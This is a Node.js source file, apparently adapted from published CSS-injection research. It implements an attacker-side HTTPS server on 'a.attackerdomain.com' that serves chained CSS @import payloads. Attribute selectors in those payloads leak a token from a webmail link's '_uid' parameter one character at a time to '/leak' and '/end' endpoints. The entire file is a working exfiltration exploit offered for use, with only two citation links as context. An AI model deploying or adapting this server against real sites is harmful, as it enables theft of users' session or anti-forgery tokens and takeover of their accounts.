// Research: https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf // Original code: https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231 const https = require('https'); const http = require('http'); // For HTTP to HTTPS redirection (optional) const url = require('url'); const fs = require('fs'); const port = 443; // Default HTTPS port const HOSTNAME = "https://a.attackerdomain.com"; const DEBUG = false; var prefix = "", postfix = ""; var pending = []; var stop = false, ready = 0, n = 0; // SSL certificates const options = { key: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/privkey.pem'), cert: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/fullchain.pem') }; const requestHandler = (request, response) => { let req = url.parse(request.url, url); log('\treq: %s', request.url); if (stop) return response.end(); switch (req.pathname) { case "/start": genResponse(response); break; case "/leak": response.end(); if (req.query.pre && prefix !== req.query.pre) { prefix = req.query.pre; } else if (req.query.post && postfix !== req.query.post) { postfix = req.query.post; } else { break; } if (ready == 1) { genResponse(pending.shift()); ready = 0; } else { ready++; log('\tleak: waiting others...'); } break; case "/next": console.log(n) if (ready == 1) { genResponse(response); ready = 0; } else { pending.push(response); ready++; log('\tquery: waiting others...'); } break; case "/end": stop = true; console.log('[+] END: %s', req.query.token); default: response.end(); } } const genResponse = (response) => { console.log('...post-payload: ' + postfix); let css = '@import url(' + HOSTNAME + '/next?' + Math.random() + ');' + [1,2,3,4,5,6,7,8,9,0,'='].map(e => ('a[id=rcmbtnfrm100][href*="_uid=' + postfix + e + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + postfix + e + ')}')).join('') + 'div '.repeat(n) + 'a{background:var(--e'+n+')} ' + 'a[id=rcmbtnfrm100][href='+ postfix + prefix + ']{list-style:url(' + HOSTNAME + '/end?token=' + postfix + prefix + '&)};'; response.writeHead(200, { 'Content-Type': 'text/css' }); response.write(css); response.end(); n++; } // HTTPS server const server = https.createServer(options, requestHandler); server.listen(port, (err) => { if (err) { return console.log('[-] Error: something bad happened', err); } console.log('[+] HTTPS Server is listening on %d', port); }); // redirect HTTP traffic http.createServer((req, res) => { res.writeHead(301, { "Location": "https://" + req.headers['host'] + req.url }); res.end(); }).listen(80); function log() { if (DEBUG) console.log.apply(console, arguments); }